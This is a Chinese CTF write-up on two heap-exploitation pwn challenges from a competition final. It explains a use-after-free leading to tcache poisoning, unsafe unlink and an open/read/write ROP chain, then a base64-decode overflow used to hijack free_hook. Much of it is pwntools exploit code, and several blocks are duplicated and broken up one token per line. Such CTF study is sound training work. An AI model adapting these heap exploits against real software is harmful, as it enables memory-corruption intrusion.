同样的,决赛也出了两道pwn题,感觉挺有意思的,来补补wp。
<!--more-->
附件下载
这题一开始最大的一个问题可能是题目依赖较多跑不起来,而且只给了 libc 的版本,是 2.31 9.16
版本,这个比较好说。如果是 libcrypto.1.1 这个库不存在也好说,apt 安装就好了。
照常换了 runpath 和链接器之后报了一个神奇的错误。
![图片描述](upload/attach/202412/919002_24VB2WG9XYHC2H9.webp)
这里的意思就是,虽然你 elf 文件的 libc 换好了,但是 libcrypto.so.1 这个库用的是高版本的 libc,你换了之后 libcrypto.so.1 有些引用了高版本 glibc 的函数就用不了了,所以索性在加载的时候报出错误存在这个问题。
解决这个问题也很简单,如果不想影响机器的 libcrypto 库那就复制一份出来,将依赖修改到本地的备份版本即可,再用 --replace-needed 参数去替换依赖库。
例子:
此时你还需要将 libcrypto.so.1.1 的依赖库换成对应的版本,才能正常运行。
最终修改完以来之后,你的两个文件依赖项应该如下所示:
![](upload/attach/202412/919002_9RYCCEKDETM7RTD.png)
这样你就能正常运行这个题目了。
题目很友好,没有去符号,init_system 里面初始化了 Key,heap_base,和沙箱。
![](upload/attach/202412/919002_VHGWGYN758HWY4B.png)
沙箱就是简单地禁用了 execve 调用,增删改查一应俱全,一步步分析。
![](upload/attach/202412/919002_CK46UMHNCBFTKGQ.png)
下标 0-15还挺大,固定分配 0x30 大小的堆块,读入也是这么长,随后使用 AES 加密保存输入的内容。
注意到使用了 safe_malloc,而 safe_malloc 检查了 malloc 的返回值,需要与 key 所分配的堆块在同一个页上(即地址除了最低三位十六进制不同,其它必须相同),这样就会导致我们很多漏洞不能利用。
![](upload/attach/202412/919002_QDYRMEC6APXEE6S.png)
明显是存在 UAF 漏洞的。
![](upload/attach/202412/919002_EQTXVUKZN7DHYD8.png)
同样 AES 加密内容改了上去。
![](upload/attach/202412/919002_2P9V47K7UJD4F98.png)
将堆块内容 AES 解密后输出。
![](upload/attach/202412/919002_62K6DX8JXEF6JYM.png)
可以观察到,当 a2 < 16
的时候是不会进行加密的,也就是说输入的明文会直接存储到堆上,解密函数同理。
UAF是主要的漏洞点,根据UAF可以搞很多事,同时也有许多限制,来列一下目前的限制:
对应的解决措施如下:
理论可行,下面来实践
据此构造交互函数
由于 unsafe unlink 的利用手法需要知道堆指针的地址,而题目程序开了 PIE,所以第一步要先想办法泄露程序的基地址。
注意到解密函数是将内容解密到栈上输出的,因此栈上可能有可以利用的地址。
![](upload/attach/202412/919002_8J6ZS9XGFFTEXDD.png)
0x20 个 a 扔过去发现的确存在一个程序基地址,虽然被覆盖了两个字节,但是依稀可辨。在比赛中我选择了爆破这半个字节,但其实完全没必要,因为可以发现被覆盖的两个字节是由于自己输入了 3\n
,而这里的数字输入显然使用 read,那就没必要输入这个回车,可以少覆盖一个字节,这样就完全不用爆破。
将交互函数的 line 去掉如下所示
![](upload/attach/202412/919002_KHJJFGA8HXXVTCW.png)
拿到了 code_base 之后,tcache bin attack,这里这样操作:free 两个堆块,再改最后进入的堆块的 fd 指针到 key 堆块的位置。因为 2.31 版本的 tcache 有数量检查,如果检查到数量为0,即使 tcache存的堆块指针不为 0,那也不会被分配。
成功将 Key 写为 0
![](upload/attach/202412/919002_3B2W5X2GCKJYW6T.png)
之后尝试泄露一下 heap 的地址,因为需要构造 unsorted bin,需要堆重叠修改 size,因此这里泄露堆地址是比较方便的。
也很简单,free 一个块让它带地址直接 show 即可,但是会用 Key 解密之后输出,因此我们想要得到原堆块的地址就需要对结果进行加密,密钥已知,也是很容易得出的。
![](upload/attach/202412/919002_27YQSN7GCJ7AY5N.png)
紧接着再来一个 tcache bin attack,构造堆重叠,修改堆块的大小,free 掉,得到 unsorted bin,泄露得 libc 的地址(同时后面也是知道,我都unsafe unlink了,我还泄露libc地址干嘛呢??)。
这里我用了 14 这个下标是因为这个地方的指针比较重要(做到后面才发现的)。
此刻,便是良机,构造 unsafe unlink。
讲解一下 unsafe unlink 的原理,glibc 除了 tcache bin 和 fastbin 是单链表管理之外,其余都是双链表管理,单链表管理的堆块普遍不参与相邻内存合并(consolidate)的操作。
而合并操作需要涉及解链(unlink),为什么需要解链才能合并。因为合并后得到是一个新的大小的堆块,不管是 small bin 还是 largebin,对大小都有严格的限制,所以合并必须 unlink。
解链我们找找 glibc 中的定义
我们看到解链的一个重要操作
如果对应的堆块本身不处于被释放状态,意味着这个堆块的fd和bk指针我可以任意的修改。而合并是通过什么样的检测去判断呢,它有向前和向后两种合并的方式,从 glibc 源码中也不难看出,当 free 的一个块不在 fastbin 大小的范围内,便会尝试向前和向后合并。
向后合并
向前合并
可以发现,向后合并(向较小地址)主要依赖于当前释放的这个堆块的 prev_inuse 位,如果为0证明前面(较小地址)的堆块被释放了,就要向后合并,而一旦这个位为0,则检查 prev_size 字段判断堆块的大小。
同时再来看看如果没有任何检查的 unsafe unlink 会发生什么。
由于 fd 和 bk 是我任意控制的,因此我可以将 fd+0x18 的地址写上 bk 值,将 bk+0x10 的地址写上 fd 的值。但是很不幸的,它检查了 p->fd->bk==p && p->bk->fd==p
,满足这些条件才能 unlink,本意很简单,一个正常的双向链表中,任意一个链表中的元素的后一个块的前一个块肯定是自己,反之同理,如果不满足则双向链表肯定发生了问题。
当然这个 check 可以绕过,首先需要一个指向 chunk 头部的指针,因此这需要我们伪造一个 chunk,而chunk头部的指针当然就是可以用分配得到的用户指针,它存放在程序代码的 bss 段中。
把 check 的条件化简一下,因为 p->fd
和 p->bk
都是任意值,因此不妨将它设为 x 和 y,那么就变成了 x->bk==p && y->fd==p
,而 x->fd
与 y->bk
转为指针的写法就是 *(void **)(x+0x18)=p&&*(void **)(y+0x10)=p
,取第一个等式,对等号两边同时取地址得到 (x+0x10)=&p
那么 x=&p-0x18
同理 y=&p-0x10
。那么绕过这个检查的主要就是需要找到一个指向头部的指针。
在上面的基础,用下面的代码,我们来观察 unsafe unlink 的图解。
结果如下
![](upload/attach/202412/919002_CFERVEQM369HD9B.png)
在这里,我分配了一个0x40的堆块,返回了 0x55555555c350
这个指针,通过堆重叠,在 0x40 的堆块里面包含了一个 0x30 的堆块,可以发现 0x40 指向分配给用户的指针指向了 0x30 这个堆块的头部,这是我们伪造的一个 fake chunk,这里其实不需要加 0x31 这个size,因为 unlink不检查这个size,这里写 0x31 主要是方便理解。
同时它的 fd 和 bk,分别赋值了 0x0000555555558080
和 0x0000555555558088
,这个值其实就是因为我们伪造的堆块得到了一个指向头部的指针在 BookList 全局数组当中,因此上面的等式中的 &p 就有了,不难发现 &p = 0x555555558090
,那么根据前面的 x 和 y 相关方程可得 x=0x0000555555558080
,y=0x0000555555558088
,分别对应了这里的 fd 和 bk 的位置。
最后需要伪造 prevsize 为 0x30 和将 size 的prev_inuse设置为0,才能够成功触发 unsafe unlink。
触发了 unsafe unlink 之后,可以发现,BookList[3] 得到了一个指向自身 - 0x18 的位置,同时合并堆块的操作也是成功的,这里大小为 0x421 是因为后面还有 free 块,向前也合并了。
![](upload/attach/202412/919002_4XEXD4TKBFUW9VU.png)
有了这个指针,可以任意修改 BookList[0]的值,再通过 BookList[0] 指针取读写任意的地址。此刻,malloc 已经不被需要了,我已然是无敌的状态。
这里选择劫持通过 __environ
泄露栈,用栈迁移劫持栈到堆上,在堆上提前布置好 ROP 链进行 ORW 即可。
想必也是可以一气呵成了
至此,已成艺术
![](upload/attach/202412/919002_HJTK9T35S7X26DM.png)
这里插个题外话,可能纯做 Pwn 的师傅不太清楚,Crypto 这个库安装使用以下命令
附件下载
环境准备就不过多赘述了,道理都是一样的。
堆菜单实现了存储 base64 编码和解码的增删查,虽然说菜单上看着有改的操作,也确实有对应的函数,但是没有实装。
![](upload/attach/202412/919002_X2X8TBVXEJ4WWHU.png)
同样的,也来分析这些函数。
![](upload/attach/202412/919002_5WVT23J6M3NQKPS.png)
根据输入的长度和回车的判断,去分配堆块,而这里分配的长度是 4*len/3 + 4
,还算是留有余地,几乎不能够溢出。
![](upload/attach/202412/919002_RPASBUFFUGBBM4F.png)
这里需要注意的点来了,它这里分配的长度是 3*len/4
,这个长度比较极限但是它如果强制要求你的 len 必须是 4 的倍数其实也不能利用,但是没有,所以这里打个 tag,后续着重分析这里的解码函数。
![](upload/attach/202412/919002_BK7KZJQ6SJMKTVU.png)
删不存在 UAF。
后面的base64解码删,和输出堆块就不一一演示了,都很正常的实现。
这里想起之前讲到的 base64 解码增,来看看解码函数的实现。
把中间一大段去掉,保留收尾,可以发现循环条件是 v16>=len,而 a3 的输出指针每次 +3,因此这个函数在输入长度为 4 的倍数的时候是绝对好使的,但是输入是由我们控制的,因此长度可以不为 4 的倍数,而不为 4 的倍数可能会导致分配的空间不够从而导致溢出。
首先进行漏洞的验证。
交互函数
首先看看编码一个 0x19 长度的字符串,但是去掉编码后的最后一个字节,我们来计算一下。
0x19 长度的字符编码之后应该是 0x24 字节,去掉一个字节变成 0x23 字节,然后这个长度进入选项 2,malloc 的参数为 0x23/4*3
,即得到 0x18,所以最终分配得到 0x20 大小的 chunk
。
可以发现,最终的 top chunk 的 size 明显出了问题
![](upload/attach/202412/919002_RHEC6D4M2SNAHDR.png)
需要分析一下为什么出现了 410061 这样奇怪的值,图中可以看出来我的输入是 YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQ=
,最小化之后发现主要的问题就是 YQ=
解析成了 61 00 41
这样的字节,来看看原理。
YQ
解析成第一个 a
不奇怪,Q=
解析出第二个 00
也不奇怪,这个 =
和另外一个字节(0字节)解析成了 A
,来看看为什么。
看到对最后一个字节的解析
![](upload/attach/202412/919002_ZSMQ3XY58BJJ87A.png)
它使用 strchr
去查找该字符串在 base 表所处的位置,对于这个函数来说,如果如果找到了则返回该字符的指针,如果找不到返回 NULL,而找零字节能不能找到呢?能!就在字符串最后面,所有字符串都是 0 结尾的,所以找到的末尾指针减去首指针得到了 0x41,而 = 又等同于 0,因此看到 a[2]=(v15<<6)+v9
,也能理所当然地知道为啥是 A
了。
但是这样不太自由,因为会写 size 三个字节,因此可以考虑扩展长度,让它只能溢出一个 A 字节,这样这个 A 就能被覆盖到 size 里面构造堆重叠,然后打 tcache bin attack劫持 free hook就行了。
所以还是先泄露地址,这里虽然限制了 0x400,但是别忘了 base64编码可以扩展长度,因此很轻松构造一个unsorted bin来泄露地址。
这里还有一个需要注意的点,你泄露的 libc 的地址很不幸最低 2 位十六进制都是 0,所以 puts 带不出来,因此需要多覆盖一个字节才行。
![图片描述](upload/attach/202412/919002_JUVH6YZ7KMB7QX2.webp)
libc 地址有了后面就是简单的重叠堆构造 uaf,但同样需要注意 tcache bin 有数量检测,如果正常 free 一个 tcache 再修改 fd,则分配不出来这个任意地址的 tcache,必须要free两个堆块,然后再 edit 后进入的堆块才能够成功分配出来。
分配出来就直接打 tcache bin 写 system 即可。
![图片描述](upload/attach/202412/919002_SJPBQVD7QP78EKP.webp)
至此艺术已成。
patchelf --replace-needed libcrypto.so.1.1 .
/libcrypto
.so.1.1 .
/heap
patchelf --replace-needed libcrypto.so.1.1 .
/libcrypto
.so.1.1 .
/heap
from
Crypto.Cipher
import
AES
def
encrypt(data):
key
=
b
'\x00'
*
16
cipher
=
AES.new(key, AES.MODE_ECB)
return
cipher.encrypt(data)
def
decrypt(data):
key
=
b
'\x00'
*
16
cipher
=
AES.new(key, AES.MODE_ECB)
return
cipher.decrypt(data)
def
choice(i):
p.sendafter(
'>> '
,
str
(i))
def
add(idx,content):
choice(
1
)
p.sendlineafter(
'idx: '
,
str
(idx))
p.sendafter(
'content: '
,content)
def
free(idx):
choice(
2
)
p.sendlineafter(
'idx: '
,
str
(idx))
def
show(idx):
choice(
3
)
p.sendlineafter(
'idx: '
,
str
(idx))
def
edit(idx,content):
choice(
4
)
p.sendlineafter(
'idx: '
,
str
(idx))
p.sendafter(
'content: '
,content)
from
Crypto.Cipher
import
AES
def
encrypt(data):
key
=
b
'\x00'
*
16
cipher
=
AES.new(key, AES.MODE_ECB)
return
cipher.encrypt(data)
def
decrypt(data):
key
=
b
'\x00'
*
16
cipher
=
AES.new(key, AES.MODE_ECB)
return
cipher.decrypt(data)
def
choice(i):
p.sendafter(
'>> '
,
str
(i))
def
add(idx,content):
choice(
1
)
p.sendlineafter(
'idx: '
,
str
(idx))
p.sendafter(
'content: '
,content)
def
free(idx):
choice(
2
)
p.sendlineafter(
'idx: '
,
str
(idx))
def
show(idx):
choice(
3
)
p.sendlineafter(
'idx: '
,
str
(idx))
def
edit(idx,content):
choice(
4
)
p.sendlineafter(
'idx: '
,
str
(idx))
p.sendafter(
'content: '
,content)
add(
0
,b
'a'
*
0x20
)
show(
0
)
code_base
=
u64(p.recvuntil(b
'\nP'
)[
-
8
:
-
2
].ljust(
8
,b
'\x00'
))
-
0x1233
success(
'code_base: '
+
hex
(code_base))
add(
1
,b
'a'
*
(
0x8
+
6
))
free(
0
)
free(
1
)
edit(
1
,p8(
0xa0
))
add(
0
,b
'\x00'
*
8
)
add(
0
,
'\x00'
*
8
)
gdb.attach(p)
add(
0
,b
'a'
*
0x20
)
show(
0
)
code_base
=
u64(p.recvuntil(b
'\nP'
)[
-
8
:
-
2
].ljust(
8
,b
'\x00'
))
-
0x1233
success(
'code_base: '
+
hex
(code_base))
add(
1
,b
'a'
*
(
0x8
+
6
))
free(
0
)
free(
1
)
edit(
1
,p8(
0xa0
))
add(
0
,b
'\x00'
*
8
)
add(
0
,
'\x00'
*
8
)
gdb.attach(p)
add(
0
,b
'a'
*
0x10
)
free(
0
)
show(
0
)
show(
0
)
data
=
p.recv(
16
)
res
=
encrypt(data)
heap_addr
=
u64(res[
8
:])
-
0x10
success(
'heap_addr: '
+
hex
(heap_addr))
add(
0
,b
'a'
*
0x10
)
free(
0
)
show(
0
)
show(
0
)
data
=
p.recv(
16
)
res
=
encrypt(data)
heap_addr
=
u64(res[
8
:])
-
0x10
success(
'heap_addr: '
+
hex
(heap_addr))
add(
0
,decrypt(b
'a'
*
8
+
p64(
0x431
)
+
p64(
0
)
*
4
)[:
48
])
add(
14
,b
'a'
*
8
)
add(
3
,b
'a'
*
8
)
free(
14
)
free(
3
)
edit(
3
,p64(heap_addr
+
0x350
))
add(
2
,b
'a'
*
8
)
add(
3
,b
'a'
*
8
)
for
i
in
range
(
0x10
):
add(
2
,b
'a'
*
0x8
)
free(
3
)
show(
0
)
data
=
p.recv(
32
)
res
=
encrypt(data)
libc_addr
=
u64(res[
8
*
3
:
8
*
4
])
-
0x215be0
+
0x029000
success(
'libc_addr: '
+
hex
(libc_addr))
add(
0
,decrypt(b
'a'
*
8
+
p64(
0x431
)
+
p64(
0
)
*
4
)[:
48
])
add(
14
,b
'a'
*
8
)
add(
3
,b
'a'
*
8
)
free(
14
)
free(
3
)
edit(
3
,p64(heap_addr
+
0x350
))
add(
2
,b
'a'
*
8
)
add(
3
,b
'a'
*
8
)
for
i
in
range
(
0x10
):
add(
2
,b
'a'
*
0x8
)
free(
3
)
show(
0
)
data
=
p.recv(
32
)
res
=
encrypt(data)
libc_addr
=
u64(res[
8
*
3
:
8
*
4
])
-
0x215be0
+
0x029000
success(
'libc_addr: '
+
hex
(libc_addr))
static
void
unlink_chunk (mstate av, mchunkptr p)
{
if
(chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr (
"corrupted size vs. prev_size"
);
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if
(__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr (
"corrupted double-linked list"
);
fd->bk = bk;
bk->fd = fd;
if
(!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if
(p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr (
"corrupted double-linked list (not small)"
);
if
(fd->fd_nextsize == NULL)
{
if
(p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
static
void
unlink_chunk (mstate av, mchunkptr p)
{
if
(chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr (
"corrupted size vs. prev_size"
);
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if
(__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr (
"corrupted double-linked list"
);
fd->bk = bk;
bk->fd = fd;
if
(!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if
(p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr (
"corrupted double-linked list (not small)"
);
if
(fd->fd_nextsize == NULL)
{
if
(p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
fd->bk = bk;
bk->fd = fd;
fd->bk = bk;
bk->fd = fd;
if
(!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((
long
) prevsize));
if
(__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr (
"corrupted size vs. prev_size while consolidating"
);
unlink_chunk (av, p);
}
if
(!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((
long
) prevsize));
if
(__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr (
"corrupted size vs. prev_size while consolidating"
);
unlink_chunk (av, p);
}
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if
(!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
}
else
clear_inuse_bit_at_offset(nextchunk, 0);
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if
(!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
}
else
clear_inuse_bit_at_offset(nextchunk, 0);
add(
4
,b
'a'
*
0x10
)
add(
5
,b
'a'
*
0x10
)
add(
6
,b
'a'
*
0x10
)
add(
7
,b
'a'
*
0x10
)
free(
6
)
free(
7
)
edit(
7
,p64(heap_addr
+
0x10
))
add(
6
,b
'a'
*
8
)
add(
7
,decrypt(b
'\xff'
*
0x20
))
book
=
code_base
+
0x4080
edit(
3
,decrypt(p64(
0
)
+
p64(
0x31
)
+
p64(book
+
0x18
-
0x18
)
+
p64(book
+
0x18
-
0x10
)
+
p64(
0
)
*
2
))
edit(
14
,decrypt(p64(
0x30
)
+
p64(
0xc0
)))
free(
5
)
add(
4
,b
'a'
*
0x10
)
add(
5
,b
'a'
*
0x10
)
add(
6
,b
'a'
*
0x10
)
add(
7
,b
'a'
*
0x10
)
free(
6
)
free(
7
)
edit(
7
,p64(heap_addr
+
0x10
))
add(
6
,b
'a'
*
8
)
add(
7
,decrypt(b
'\xff'
*
0x20
))
book
=
code_base
+
0x4080
edit(
3
,decrypt(p64(
0
)
+
p64(
0x31
)
+
p64(book
+
0x18
-
0x18
)
+
p64(book
+
0x18
-
0x10
)
+
p64(
0
)
*
2
))
edit(
14
,decrypt(p64(
0x30
)
+
p64(
0xc0
)))
free(
5
)
edit(
3
,decrypt(p64(code_base
+
0x4100
)
+
p64(libc_addr
+
libc.sym[
'__environ'
])))
edit(
0
,p32(
0x10
)
*
2
)
show(
1
)
res
=
encrypt(p.recv(
16
))
print
(res.
hex
())
stack
=
u64(res[:
8
])
-
0x138
success(
'stack: '
+
hex
(stack))
leave
=
code_base
+
0x1AA4
pop_rdi
=
libc_addr
+
0x0000000000023b6a
pop_rsi
=
libc_addr
+
0x000000000002601f
pop_rdx_ret_10
=
libc_addr
+
0x00000000000dfc12
edit(
3
,p64(heap_addr
+
0xa0
))
edit(
0
,p64(
0
))
edit(
3
,p64(heap_addr
+
0x10
))
edit(
0
,p64(
0
))
edit(
3
,p64(heap_addr
+
0x4350
))
edit(
0
,b
'/flag'
)
edit(
3
,p64(heap_addr
+
0x360
))
edit(
0
,decrypt(p64(pop_rdi)
+
p64(heap_addr
+
0x4350
)
+
p64(pop_rsi)
+
p64(
0
)
+
p64(libc_addr
+
libc.sym[
'open'
])
+
p64(pop_rdi
+
1
)))
edit(
3
,p64(heap_addr
+
0x390
))
edit(
0
,decrypt(p64(pop_rdi)
+
p64(
3
)
+
p64(pop_rsi)
+
p64(heap_addr)
+
p64(pop_rdx_ret_10)
+
p64(
0x30
)))
edit(
3
,p64(heap_addr
+
0x3c0
))
edit(
0
,decrypt(p64(libc_addr
+
libc.sym[
'read'
])
+
p64(
0
)
*
2
+
p64(pop_rdi
+
1
)))
edit(
3
,p64(heap_addr
+
0x3e0
))
edit(
0
,decrypt(p64(pop_rdi)
+
p64(
1
)
+
p64(pop_rsi)
+
p64(heap_addr)
+
p64(pop_rdx_ret_10)
+
p64(
0x30
)))
edit(
3
,p64(heap_addr
+
0x3e0
+
0x30
))
edit(
0
,decrypt(p64(libc_addr
+
libc.sym[
'write'
])
+
p64(pop_rdi
+
1
)))
edit(
3
,p64(stack))
gdb.attach(p,
'b *0x555555555aa4'
)
edit(
0
,p64(heap_addr
+
0x358
)
+
p64(leave)[:
6
])
p.interactive()
edit(
3
,decrypt(p64(code_base
+
0x4100
)
+
p64(libc_addr
+
libc.sym[
'__environ'
])))
edit(
0
,p32(
0x10
)
*
2
)
show(
1
)
res
=
encrypt(p.recv(
16
))
print
(res.
hex
())
stack
=
u64(res[:
8
])
-
0x138
success(
'stack: '
+
hex
(stack))
leave
=
code_base
+
0x1AA4
pop_rdi
=
libc_addr
+
0x0000000000023b6a
pop_rsi
=
libc_addr
+
0x000000000002601f
pop_rdx_ret_10
=
libc_addr
+
0x00000000000dfc12
edit(
3
,p64(heap_addr
+
0xa0
))
edit(
0
,p64(
0
))
edit(
3
,p64(heap_addr
+
0x10
))
edit(
0
,p64(
0
))
edit(
3
,p64(heap_addr
+
0x4350
))
edit(
0
,b
'/flag'
)
edit(
3
,p64(heap_addr
+
0x360
))
edit(
0
,decrypt(p64(pop_rdi)
+
p64(heap_addr
+
0x4350
)
+
p64(pop_rsi)
+
p64(
0
)
+
p64(libc_addr
+
libc.sym[
'open'
])
+
p64(pop_rdi
+
1
)))
[注意]看雪招聘,专注安全领域的专业人才平台!
最后于 2024-12-19 15:14
被xi@0ji233编辑
,原因: 补丢失的图片